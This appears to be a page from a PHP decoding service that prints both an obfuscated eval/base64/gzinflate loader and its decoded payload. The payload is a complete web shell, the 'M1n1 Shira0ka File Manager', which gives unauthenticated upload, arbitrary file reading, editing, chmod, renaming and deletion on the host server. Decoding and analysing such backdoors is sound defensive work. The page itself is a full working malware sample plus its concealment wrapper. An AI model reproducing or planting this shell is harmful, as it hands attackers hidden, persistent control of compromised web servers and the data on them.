Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval('?>'.gzuncompress(gzinflate(base64_decode(strrev("==QqsSKC/Re503AVaT0BSWsTtgjc..
Decoded Output download
?>b'<?php
echo \'<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>M1n1 Shira0ka</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center>M1n1 Shira0ka File Manager</center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : \';
if(isset($_GET[\'path\'])){
$path = $_GET[\'path\'];
}else{
$path = getcwd();
}
$path = str_replace(\'\\',\'/\',$path);
$paths = explode(\'/\',$path);
foreach($paths as $id=>$pat){
if($pat == \'\' && $id == 0){
$a = true;
echo \'<a href="?path=/">/</a>\';
continue;
}
if($pat == \'\') continue;
echo \'<a href="?path=\';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo \'">\'.$pat.\'</a>/\';
}
echo \'</td></tr><tr><td>\';
if(isset($_FILES[\'file\'])){
if(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){
echo \'<font color="green">File Upload Done.</font><br />\';
}else{
echo \'<font color="red">File Upload Error.</font><br />\';
}
}
echo \'<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>\';
if(isset($_GET[\'filesrc\'])){
echo "<tr><td>Current File : ";
echo $_GET[\'filesrc\'];
echo \'</tr></td></table><br />\';
echo(\'<pre>\'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</pre>\');
}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){
echo \'</table><br /><center>\'.$_POST[\'path\'].\'<br /><br />\';
if($_POST[\'opt\'] == \'chmod\'){
if(isset($_POST[\'perm\'])){
if(chmod($_POST[\'path\'],$_POST[\'perm\'])){
echo \'<font color="green">Change Permission Done.</font><br />\';
}else{
echo \'<font color="red">Change Permission Error.</font><br />\';
}
}
echo \'<form method="POST">
Permission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />
<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>\';
}elseif($_POST[\'opt\'] == \'rename\'){
if(isset($_POST[\'newname\'])){
if(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){
echo \'<font color="green">Change Name Done.</font><br />\';
}else{
echo \'<font color="red">Change Name Error.</font><br />\';
}
$_POST[\'name\'] = $_POST[\'newname\'];
}
echo \'<form method="POST">
New Name : <input name="newname" type="text" size="20" value="\'.$_POST[\'name\'].\'" />
<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>\';
}elseif($_POST[\'opt\'] == \'edit\'){
if(isset($_POST[\'src\'])){
$fp = fopen($_POST[\'path\'],\'w\');
if(fwrite($fp,$_POST[\'src\'])){
echo \'<font color="green">Edit File Done.</font><br />\';
}else{
echo \'<font color="red">Edit File Error.</font><br />\';
}
fclose($fp);
}
echo \'<form method="POST">
<textarea cols=80 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />
<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>\';
}
echo \'</center>\';
}else{
echo \'</table><br /><center>\';
if(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){
if($_POST[\'type\'] == \'dir\'){
if(rmdir($_POST[\'path\'])){
echo \'<font color="green">Delete Dir Done.</font><br />\';
}else{
echo \'<font color="red">Delete Dir Error.</font><br />\';
}
}elseif($_POST[\'type\'] == \'file\'){
if(unlink($_POST[\'path\'])){
echo \'<font color="green">Delete File Done.</font><br />\';
}else{
echo \'<font color="red">Delete File Error.</font><br />\';
}
}
}
echo \'</center>\';
$scandir = scandir($path);
echo \'<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>\';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo \'<font color="green">\';
elseif(!is_readable("$path/$dir")) echo \'<font color="red">\';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).\' MB\';
}else{
$size = $size.\' KB\';
}
echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo \'<font color="green">\';
elseif(!is_readable("$path/$file")) echo \'<font color="red">\';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo \'</table>
</div>\';
}
echo \'<br><center>GO Party By <font color="red">You</font></center>
</BODY>
</HTML>\';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = \'p\';
} else {
// Unknown
$info = \'u\';
}
// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? \'s\' : \'x\' ) :
(($perms & 0x0800) ? \'S\' : \'-\'));
// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? \'s\' : \'x\' ) :
(($perms & 0x0400) ? \'S\' : \'-\'));
// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? \'t\' : \'x\' ) :
(($perms & 0x0200) ? \'T\' : \'-\'));
return $info;
}
?>'
Did this file decode correctly?
Original Code
<?php
eval('?>'.gzuncompress(gzinflate(base64_decode(strrev("==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")))));
Function Calls
strrev | 1 |
gzinflate | 1 |
gzuncompress | 1 |
base64_decode | 1 |
Stats
MD5 | 258f2553d44b6b0b16caa6b15c16b644 |
Eval Count | 1 |
Decode Time | 98 ms |